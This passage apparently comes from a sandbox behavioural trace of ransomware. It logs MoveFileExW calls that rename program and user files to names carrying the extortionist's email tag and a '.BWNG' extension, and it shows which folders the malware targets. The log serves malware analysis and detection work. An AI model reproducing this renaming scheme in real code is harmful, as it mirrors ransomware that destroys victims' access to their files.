lpPerformanceCount=0x37cfe3c*=17846785509) returned 1 [0036.516] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].3SSZXa9a-KhWIMU4r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].3sszxa9a-khwimu4r.bwng"), dwFlags=0x1) returned 1 [0036.516] GetTickCount () returned 0x115449f [0036.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17846855192) returned 1 [0036.516] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\[billwong73@yahoo.com].yPMe7fe2-f1diglez.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\[billwong73@yahoo.com].ypme7fe2-f1diglez.bwng"), dwFlags=0x1) returned 1 [0036.517] GetTickCount () returned 0x115449f [0036.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17846928375) returned 1 [0036.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].A0OGMPgw-Q4NOGwBM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].a0ogmpgw-q4nogwbm.bwng"), dwFlags=0x1) returned 1 [0036.518] GetTickCount () returned 0x115449f [0036.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17846992437) returned 1 [0036.518] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\[billwong73@yahoo.com].DGQngFA3-LFo7wCXK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\[billwong73@yahoo.com].dgqngfa3-lfo7wcxk.bwng"), dwFlags=0x1) returned 1 [0036.518] GetTickCount () returned 0x115449f [0036.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17847064598) returned 1 [0036.519] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\[billwong73@yahoo.com].xDwsmivi-y8ZLM5IL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\[billwong73@yahoo.com].xdwsmivi-y8zlm5il.bwng"), dwFlags=0x1) returned 1 [0037.061] GetTickCount () returned 0x11546c1 [0037.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17901372682) returned 1 [0037.064] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].dVzUO6EE-A9vEoW2A.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].dvzuo6ee-a9veow2a.bwng"), dwFlags=0x1) returned 1 [0037.068] GetTickCount () returned 0x11546d1 [0037.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17902074312) returned 1 [0037.069] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].0l6DJyWU-k5Eee352.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].0l6djywu-k5eee352.bwng"), dwFlags=0x1) returned 1 [0037.073] GetTickCount () returned 0x11546d1 [0037.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17902488148) returned 1 [0037.073] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\[billwong73@yahoo.com].die66ljT-qdl1UYof.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\[billwong73@yahoo.com].die66ljt-qdl1uyof.bwng"), dwFlags=0x1) returned 1 [0037.181] GetTickCount () returned 0x115473e [0037.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17913531322) returned 1 [0037.183] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\[billwong73@yahoo.com].IbZEt5Wf-jKzezIGo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\[billwong73@yahoo.com].ibzet5wf-jkzezigo.bwng"), dwFlags=0x1) returned 1 [0037.184] GetTickCount () returned 0x115473e [0037.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17913627343) returned 1 [0037.184] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].KJMaYjt0-PnIgOaCc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].kjmayjt0-pnigoacc.bwng"), dwFlags=0x1) returned 1 [0037.185] GetTickCount () returned 0x115473e [0037.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17913695392) returned 1 [0037.185] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\[billwong73@yahoo.com].Sg8iOr71-tJkTmYfn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\[billwong73@yahoo.com].sg8ior71-tjktmyfn.bwng"), dwFlags=0x1) returned 1 [0037.941] GetTickCount () returned 0x11548e3 [0037.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17989366708) returned 1 [0037.942] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].SIhpieLs-y8ZdtfJt.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].sihpiels-y8zdtfjt.bwng"), dwFlags=0x1) returned 1 [0037.942] GetTickCount () returned 0x11548e3 [0037.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17989456216) returned 1 [0037.942] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\[billwong73@yahoo.com].cJmy3dSN-qh0YBYkx.BWNG" (normalized: "c:\\users\\public\\pictures\\sample pictures\\[billwong73@yahoo.com].cjmy3dsn-qh0ybykx.bwng"), dwFlags=0x1) returned 1 [0037.943] GetTickCount () returned 0x11548e3 [0037.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17989516536) returned 1 [0037.943] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].K79gC864-kIjY11DF.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].k79gc864-kijy11df.bwng"), dwFlags=0x1) returned 1 [0037.944] GetTickCount () returned 0x11548e3 [0037.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17989592439) returned 1 [0037.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\[billwong73@yahoo.com].toUS6YKD-oXDEOox7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\[billwong73@yahoo.com].tous6ykd-oxdeoox7.bwng"), dwFlags=0x1) returned 1 [0037.949] GetTickCount () returned 0x11548e3 [0037.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990090901) returned 1 [0037.949] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].BrHSihLB-18pMHLvO.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].brhsihlb-18pmhlvo.bwng"), dwFlags=0x1) returned 1 [0037.949] GetTickCount () returned 0x11548e3 [0037.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990165752) returned 1 [0037.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].HTHyWifh-TD5yRiT0.BWNG" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].hthywifh-td5yrit0.bwng"), dwFlags=0x1) returned 1 [0037.950] GetTickCount () returned 0x11548e3 [0037.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990237223) returned 1 [0037.950] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\[billwong73@yahoo.com].iqVEAKyr-i5UhAsMV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\[billwong73@yahoo.com].iqveakyr-i5uhasmv.bwng"), dwFlags=0x1) returned 1 [0037.953] GetTickCount () returned 0x11548e3 [0037.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990493823) returned 1 [0037.953] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\[billwong73@yahoo.com].og9G9WP8-7Td8ZBhp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\[billwong73@yahoo.com].og9g9wp8-7td8zbhp.bwng"), dwFlags=0x1) returned 1 [0037.953] GetTickCount () returned 0x11548e3 [0037.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990567307) returned 1 [0037.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].6eBJGmyj-2SadzjjX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].6ebjgmyj-2sadzjjx.bwng"), dwFlags=0x1) returned 1 [0037.954] GetTickCount () returned 0x11548e3 [0037.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990648711) returned 1 [0037.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].wNPbdAkp-sLHVEj6J.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].wnpbdakp-slhvej6j.bwng"), dwFlags=0x1) returned 1 [0037.956] GetTickCount () returned 0x11548f3 [0037.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990784935) returned 1 [0037.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\[billwong73@yahoo.com].yjxx7ILZ-VllliFwM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\[billwong73@yahoo.com].yjxx7ilz-vlllifwm.bwng"), dwFlags=0x1) returned 1 [0037.956] GetTickCount () returned 0x11548f3 [0037.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990856435) returned 1 [0037.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\[billwong73@yahoo.com].fX9BI94Q-lJoYbrsG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\[billwong73@yahoo.com].fx9bi94q-ljoybrsg.bwng"), dwFlags=0x1) returned 1 [0037.957] GetTickCount () returned 0x11548f3 [0037.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17990927826) returned 1 [0037.957] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\[billwong73@yahoo.com].mn003JcP-XGY8ilSw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\[billwong73@yahoo.com].mn003jcp-xgy8ilsw.bwng"), dwFlags=0x1) returned 1 [0037.958] GetTickCount () returned 0x11548f3 [0037.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991013131) returned 1 [0037.958] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\[billwong73@yahoo.com].BL3RyYU5-nbC8d839.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\[billwong73@yahoo.com].bl3ryyu5-nbc8d839.bwng"), dwFlags=0x1) returned 1 [0037.959] GetTickCount () returned 0x11548f3 [0037.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991080063) returned 1 [0037.959] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].VqWZD1lo-wo75D1Ev.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].vqwzd1lo-wo75d1ev.bwng"), dwFlags=0x1) returned 1 [0037.959] GetTickCount () returned 0x11548f3 [0037.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991142298) returned 1 [0037.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].UDa4oRi3-7x6WJZk2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].uda4ori3-7x6wjzk2.bwng"), dwFlags=0x1) returned 1 [0037.960] GetTickCount () returned 0x11548f3 [0037.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991207414) returned 1 [0037.960] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\[billwong73@yahoo.com].jJcmYrSV-wmGpfaqY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\[billwong73@yahoo.com].jjcmyrsv-wmgpfaqy.bwng"), dwFlags=0x1) returned 1 [0037.960] GetTickCount () returned 0x11548f3 [0037.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991273282) returned 1 [0037.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].7I0Khzhs-wTL8uUO8.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].7i0khzhs-wtl8uuo8.bwng"), dwFlags=0x1) returned 1 [0037.961] GetTickCount () returned 0x11548f3 [0037.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991341388) returned 1 [0037.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].7w06Zgbn-j5zFgZxE.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].7w06zgbn-j5zfgzxe.bwng"), dwFlags=0x1) returned 1 [0037.962] GetTickCount () returned 0x11548f3 [0037.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991461710) returned 1 [0037.963] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\[billwong73@yahoo.com].B4DBg0Cn-NBLqTtTw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\[billwong73@yahoo.com].b4dbg0cn-nblqtttw.bwng"), dwFlags=0x1) returned 1 [0037.967] GetTickCount () returned 0x11548f3 [0037.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991898143) returned 1 [0037.967] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\[billwong73@yahoo.com].iYR6p2XR-m7KYfCqF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\[billwong73@yahoo.com].iyr6p2xr-m7kyfcqf.bwng"), dwFlags=0x1) returned 1 [0037.967] GetTickCount () returned 0x11548f3 [0037.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17991969435) returned 1 [0037.968] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].S6jgFVqC-fhPBdrmq.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].s6jgfvqc-fhpbdrmq.bwng"), dwFlags=0x1) returned 1 [0037.968] GetTickCount () returned 0x11548f3 [0037.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992033655) returned 1 [0037.968] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xJN55Vsi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xjn55vsi.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].le0nY3Dp-zmrIC5fh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].le0ny3dp-zmric5fh.bwng"), dwFlags=0x1) returned 1 [0037.969] GetTickCount () returned 0x11548f3 [0037.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992131778) returned 1 [0037.969] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CkDL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ckdl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].DP51FvjT-h9GItbTu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 